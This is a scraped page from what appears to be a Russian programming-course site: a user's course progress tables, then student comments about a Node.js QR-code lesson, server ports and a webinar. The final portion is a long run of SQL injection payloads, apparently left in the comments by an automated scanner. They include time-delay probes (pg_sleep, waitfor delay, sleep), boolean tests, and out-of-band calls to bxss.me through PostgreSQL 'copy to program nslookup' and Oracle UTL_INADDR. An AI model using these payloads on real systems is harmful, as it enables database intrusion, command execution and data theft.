Дата активности | Видеокурс | Прогресс | ||
---|---|---|---|---|
2021-12-30 | nodejsqr | Генератор qr кодов на Node JS | % | |
2021-12-16 | simple1 | PHP парсинг XML | % | |
2020-12-26 | xonix | Game Xonix | 155 % | |
2020-12-06 | java-chess | JB. Шахматные классы | 100 % | |
2020-11-30 | java-sqlite | База SQLite | 100 % | |
2020-11-22 | design-iterator | Iterator | 100 % | |
2020-11-08 | java-list | JD. Коллекции | 100 % | |
2020-11-01 | java-for2d | JC. Явные графоциклы | 100 % | |
2020-10-20 | java-loop | J8. Циклопы | 100 % | |
2020-10-14 | java-class | JA. Классные пакеты | 100 % | |
2020-10-01 | fruits | ООФрукты | 100 % | |
2020-08-23 | design-state | State | 100 % | |
2020-07-23 | pymath | Python3: математика | % | |
2020-07-04 | design-mvc | MVC шаблон | 100 % | |
2020-05-02 | design-facade | Facade | 100 % | |
2020-04-20 | design-factory | Factory | 100 % | |
2020-04-10 | design-method | Template method | 100 % | |
2020-03-28 | bulletin | Доска объявлений | 1486 % | |
2020-03-25 | design-singleton | Singleton | 100 % | |
2020-02-25 | jframe | Слова в Сетке | 89 % | |
2020-02-24 | java-if | J6. Условия | 115 % | |
2020-02-11 | java-array | J9. Массивы | 100 % | |
2020-02-01 | game7 | Морской флот | 97 % | |
2019-09-18 | landing | Лендинг на YII2 | % | |
2019-09-07 | b4 | Bootstrap-4 первые шаги | % | |
2019-08-13 | tinklavimas | Tinklavimas | 100 % | |
2019-08-10 | lambda | Функционал | 60 % | |
2019-07-17 | game4 | Игры со Спрайтами | 100 % | |
2019-06-28 | soft2 | Новые технологии | 120 % | |
2019-06-07 | javascript | Пошаговый JavaScript | % | |
2019-06-04 | jsgoro | JS Восточный гороскоп | % | |
2019-05-31 | wpf | WPF Clocks | 100 % | |
2019-05-20 | wpf2 | Простой WPF | % | |
2019-05-06 | ogame | On-line игра | % | |
2019-04-13 | saver | Хранитель экрана | 100 % | |
2019-04-11 | java2 | Игры на JavaScript | 100 % | |
2019-04-05 | jquery | Знакомство с jQuery | 100 % | |
2019-03-30 | image | Фотошарп | 112 % | |
2019-03-18 | design-record | Active Record | 100 % | |
2019-03-13 | java-oper | J5. Операции | 100 % | |
2019-03-12 | viri | Без конкуренции | 100 % | |
2019-03-02 | java-type | J4. Типы | 100 % | |
2019-02-20 | java-read | J3. Ввод | 100 % | |
2019-02-13 | platformer | Платформер на Unity | % | |
2019-02-12 | sqlonly | SQL: ничего лишнего | % | |
2019-02-09 | java-write | J2. Печать | 100 % | |
2019-02-07 | webmaster | Весёлая семейка Web-Мастера | % | |
2019-02-02 | marafon | marafon | % | |
2019-01-03 | shifr | Шифрование | 135 % | |
2018-12-15 | nevermind | Невидимка | % | |
2018-12-09 | socket | Клиент-серверный сокет | 258 % | |
2018-11-23 | hhbot1 | API поиска работы | % | |
2018-11-12 | eshop | Интернет-магазин | 100 % | |
2018-10-13 | bootstrap | Портфолио на Bootstrap | 100 % | |
2018-10-02 | webinar | Записи вебинаров | % | |
2018-09-30 | sudoku | Судоку | 82 % | |
2018-09-26 | gmaps | ASP.NET и GMaps | 28 % | |
2018-09-25 | translatejs | Мультиязычное меню на JS | 88 % | |
2018-09-11 | webapi | Web API | % | |
2018-09-10 | bilife | Бинарная жизнь | 117 % | |
2018-08-31 | php7arr | Массивы в php 7 | % | |
2018-08-25 | aspnet | Базовый ASP.ект | 84 % | |
2018-07-20 | footpost1 | Футбольная база | % | |
2018-07-07 | phpimage | PHP графика | % | |
2018-06-26 | phpdate | PHP Повелитель дат | % | |
2018-06-19 | biknight | Мат Конём и Слоном | 94 % | |
2018-05-22 | lines | Шарики | 100 % | |
2018-05-19 | chess3 | Шахматы по сети | % | |
2018-04-28 | chess | НаноШахматы | 100 % | |
2018-04-28 | game1 | Нано-игры | 80 % | |
2018-02-28 | sweep | Боты Сапёра | 100 % | |
2018-02-15 | task3 | Комбинаторика | 91 % | |
2018-01-31 | game6 | Морской Бой | 100 % | |
2017-12-31 | javasweeper | Java Sweeper | % | |
2017-12-16 | base2 | БД - Управление гостиницей | 100 % | |
2017-12-08 | game2 | Микроигры | 87 % | |
2017-11-29 | coffee | Чашка кофе | % | |
2017-11-04 | game0 | Демо игры | 70 % | |
2017-11-04 | soft1 | Нанософт | 100 % | |
2017-10-27 | task5 | Секундомер | 32 % | |
2017-10-21 | task4 | Графические циклы | 100 % | |
2017-10-15 | yii_b | PHP фреймворк Yii2 - вторая часть | 75 % | |
2017-10-14 | power | Дневник успеха | 50 % | |
2017-09-09 | compiler | Компилятор | 100 % | |
2017-09-08 | java-start | J1. Запуск | 100 % | |
2017-09-02 | yii | Yii2 | 98 % | |
2017-08-03 | soft0 | Демо софт | 86 % | |
2017-07-19 | cpp1 | С++ Графика - обрезка изображений | 100 % | |
2017-07-15 | dancex | Dancing Links | 100 % | |
2017-07-14 | tetris | Тетрис | 6 % | |
2017-06-30 | graf | Коллекция графов | 100 % | |
2017-06-03 | iterator | Итератор | 100 % | |
2017-05-28 | telebot | API Telegram | 100 % | |
2017-04-29 | memory | Карточки памяти | % | |
2017-04-18 | spybot | Шпионский бот | 100 % | |
2017-03-19 | network | Сетевые технологии | 100 % | |
2017-03-09 | chess2 | МикроШахматы | 100 % | |
2017-03-01 | thread | Бурные потоки | 100 % | |
2017-02-06 | sokoban | Сокобан | 96 % | |
2017-01-27 | soft3 | Теория ООП | 100 % | |
Итого: | 82 % |
Дата активности | Консольный раздел | Прогресс | ||
---|---|---|---|---|
2019-04-13 | task2 | VIP задачи | % | |
2019-01-29 | book | 000. Строки | 38 % | |
2018-12-15 | solo | C# набор | 42 % | |
2018-02-15 | task2 | Динамика | 100 % | |
2018-02-13 | task2 | Комбинаторика | 100 % | |
2018-02-03 | task2 | Рекурсия | 100 % | |
2018-01-11 | club | 24 - Муза Оля | 100 % | |
2017-11-28 | task2 | Регулярные выражения | 20 % | |
2017-10-28 | task2 | Матрицы | 100 % | |
2017-10-24 | task2 | Строки | 100 % | |
2017-10-21 | task2 | Подпрограммы | 100 % | |
2017-10-18 | olimp | Шахматы | 200 % | |
2017-10-13 | task2 | Простые массивы | 100 % | |
2017-10-04 | task2 | Матрёшки | 100 % | |
2017-09-30 | task2 | По цифрам | 100 % | |
2017-09-29 | task2 | Любимые циклы | 100 % | |
2017-09-27 | task2 | Математика | 100 % | |
2017-09-23 | task2 | Последовательность | 100 % | |
2017-09-21 | task2 | Вечность | 100 % | |
2017-09-13 | task2 | Узник цикла IF | 100 % | |
2017-09-10 | task2 | Точка и плоскость | 100 % | |
2017-09-09 | task2 | Обман цикла | 100 % | |
2017-09-08 | task2 | Do-рацикл | 100 % | |
2017-09-06 | task2 | Пока-цикл | 100 % | |
2017-09-02 | task2 | For-to-чки | 100 % | |
2017-08-25 | task2 | Условный оператор | 100 % | |
2017-08-17 | task2 | Логика | 100 % | |
2017-08-14 | task2 | Типы данных | 100 % | |
2017-08-14 | task1 | Календарь | 100 % | |
2017-08-07 | task1 | Цифры | 92 % | |
2017-08-05 | task1 | Целые задачи | 100 % | |
2017-08-03 | task1 | Формулы | 100 % | |
2017-08-02 | task1 | Геометрия | 100 % | |
2017-08-01 | task1 | Символы | 100 % | |
2017-07-31 | task1 | Лирика | 93 % | |
2017-07-28 | task1 | Строки | 100 % | |
2017-07-27 | task1 | Целые числа | 100 % | |
2017-07-18 | club | 4004 - Елена Вставская | 26 % | |
2017-07-03 | olimp | Олимпиада | 8 % | |
2017-05-01 | task1 | Семантика | 100 % | |
2017-01-04 | solo | HTML - тексты | 8 % | |
2017-01-04 | book | 010. Условия | 25 % | |
Итого: | 77 % |
Спасибо за ответ!
какой напишете, такой и будет. просто многие порты используются ОС под что-то еще (были случаи неработоспособности скайпа или веб сервера php, когда они на одном порту были). 3000 рекомендуется express.
Однако есть такой вариант написания :
const PORT=process.env.PORT || 3000
т.е. в порт передается все, что находится в переменной окружения PORT, а если переменная окружения не задана, то 3000
Возможны и иные потребности в параметрах qr кода, которые навскидку не видны
Причин, как мне видится, несколько:
1. "Глазу приятнее" - на самом деле это не такая глупая причина, и имеет достаточно глубокие последствия, особенно в наше время. Вся индустрия дизайна и достаточно большАя часть маркетинга товаров построена на том, что конечному потребителю должен быть "приятен" вид продукта, в том числе и его визуальное восприятие. Благодаря этому приобретут больше товара, и производитель выиграет. И различная цветовая гамма (ну и размеры) qr-кода играет на то, чтобы qr-код наиболее логично и красиво вписывался в дизайн и цветовое оформление конечного продукта
2. В повседневности используются qr-коды различных размеров - от совсем крохотных (на пробках от шампанского или пузырьках лекарств) до просто гигантских (на стенах супермаркетов, автобусах, рекламных растяжках). И необходимо работать с qr-кодами без искажения изображения, чтобы не было проблем со считыванием
3. Внутренняя сущность. Библиотека qrcode базируется на работе с элементом canvas, который (мы это рассмотрим, я планирую сделать курсы графики для Node JS и JS) имеет множество параметров для изменения размера, работает с различными цветами изображения и фона, и разработчики библиотеки qrcode решили не блокировать эти свойства, а по максимуму использовать (для достижения целей, которые я описал в п 1 и п 2)
ого))) qr в power shell немного сжатый, но всю графику отлично сохранил
Всегда пожалуйста.
Из самого яркого - провёл вебинар "Создание Архиватора Хаффмана", по результатам моей работе в Отусе по ведению курса "Алгоритмы и структуры данных".
www.youtube.com/watch?v=BKMliUkEZvs
Здравствуй, Тимоха!
Этот проект я делал очень давно. Чтобы вникнуть и углубиться в проблему потребуется много времени, а у меня его сейсас нет. Советую обратиться к автору или к тем сейчас этот проект проходит. Извини...:(
Здравствуйте, Евгений Витольдович!
Большое спасибо за подарок! Обязательно воспользуюсь им.
Может быть посоветуете, что нового было за последнее время?
Здравствуйте Yefim, у меня тоже возникли сложности с этим уроком и с предыдущем уроком тоже. Кнопка добавления товаров в корзину работает, а если нажать на кнопку "Корзина" то выскакивает ошибка, уже вторую неделю не могу найти причину. Я так и не смог решить эту проблему. Что только я не делал. Пожалуйста поделитесь с проектом урока 19(Корзина. Что из этого мне нужно?)
Подписка в Клуб формулистов обновлена.
Количество дней: +40
Количество байт: +512
Подписка КФ до: 2021-12-31
Остаток байтов: 512
Вы являетесь участником Клуба формулистов.
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-14994.11120.e5c77.\1.bxss.me
1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-14992.11120.e5c77.\1.bxss.me'
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14988.11120.e5c77.1.bxss'||'.me')||'
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14987.11120.e5c77.1.bxss'||'.me')
06NnqeRK'));select pg_sleep(29.811); --
maODmsI7');select pg_sleep(29.811); --
D8DznTiG');select pg_sleep(9.937); --
C9vbKYNB';select pg_sleep(9.937); --
-1));select pg_sleep(19.874); --
-1);select pg_sleep(9.937); --
-1;select pg_sleep(29.811); --
tQ2WSZNq'; waitfor delay '0:0:19.874' --
1 waitfor delay '0:0:9.937' --
-1); waitfor delay '0:0:19.874' --
-1); waitfor delay '0:0:9.937' --
-1; waitfor delay '0:0:9.937' --
(select(0)from(select(sleep(29.811)))v)/*'+(select(0)from(select(sleep(29.811)))v)+'"+(select(0)from(select(sleep(29.811)))v)+"*/
if(now()=sysdate(),sleep(19.874),0)/*'XOR(if(now()=sysdate(),sleep(19.874),0))OR'"XOR(if(now()=sysdate(),sleep(19.874),0))OR"*/
if(now()=sysdate(),sleep(9.937),0)/*'XOR(if(now()=sysdate(),sleep(9.937),0))OR'"XOR(if(now()=sysdate(),sleep(9.937),0))OR"*/
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-14964.11120.d525c.\1.bxss.me
1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-14961.11120.d525c.\1.bxss.me'
-1" OR 2+221-221-1=0+0+0+1 --
-1' OR 2+487-487-1=0+0+0+1 or '7cItu40B'='
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14957.11120.d525c.1.bxss'||'.me')||'
-1' OR 2+374-374-1=0+0+0+1 --
-1 OR 2+354-354-1=0+0+0+1
@@XAG7c
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14954.11120.d525c.1.bxss'||'.me')
Py5iYOJg'));select pg_sleep(9.282); --
1
9Cv6fTLt');select pg_sleep(9.282); --
Nm0CNLU7';select pg_sleep(9.282); --
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-14949.11120.bdfa9.\1.bxss.me
1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-14946.11120.bdfa9.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-14943.11120.8cc63.\1.bxss.me
Ap5MVuOC'; waitfor delay '0:0:9.282' --
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14942.11120.bdfa9.1.bxss'||'.me')||'
1 waitfor delay '0:0:9.282' --
1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-14940.11120.8cc63.\1.bxss.me'
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14938.11120.bdfa9.1.bxss'||'.me')
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14939.11120.8cc63.1.bxss'||'.me')||'
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14937.11120.8cc63.1.bxss'||'.me')
AqkUV9at');select pg_sleep(38.153999999999996); --
(select(0)from(select(sleep(9.282)))v)/*'+(select(0)from(select(sleep(9.282)))v)+'"+(select(0)from(select(sleep(9.282)))v)+"*/
Froz0lA1'));select pg_sleep(64.59299999999999); --
-1" OR 2+825-825-1=0+0+0+1 --
ROImsEQN');select pg_sleep(43.062); --
sU6IUepX';select pg_sleep(21.531); --
-1' OR 2+590-590-1=0+0+0+1 or 'yM5Dq3kE'='
-1' OR 2+120-120-1=0+0+0+1 --
-1 OR 2+461-461-1=0+0+0+1
-1));select pg_sleep(64.59299999999999); --
-1 OR 2+770-770-1=0+0+0+1 --
8QWThsTg'; waitfor delay '0:0:38.153999999999996' --
-1);select pg_sleep(43.062); --
7nyMLrMj'; waitfor delay '0:0:21.531' --
(select(0)from(select(sleep(12.718)))v)/*'+(select(0)from(select(sleep(12.718)))v)+'"+(select(0)from(select(sleep(12.718)))v)+"*/
if(now()=sysdate(),sleep(12.718),0)/*'XOR(if(now()=sysdate(),sleep(12.718),0))OR'"XOR(if(now()=sysdate(),sleep(12.718),0))OR"*/
1 waitfor delay '0:0:64.59299999999999' --
-1); waitfor delay '0:0:64.59299999999999' --
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-14934.11120.becbd.\1.bxss.me
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-14935.11120.630c7.\1.bxss.me
-1; waitfor delay '0:0:64.59299999999999' --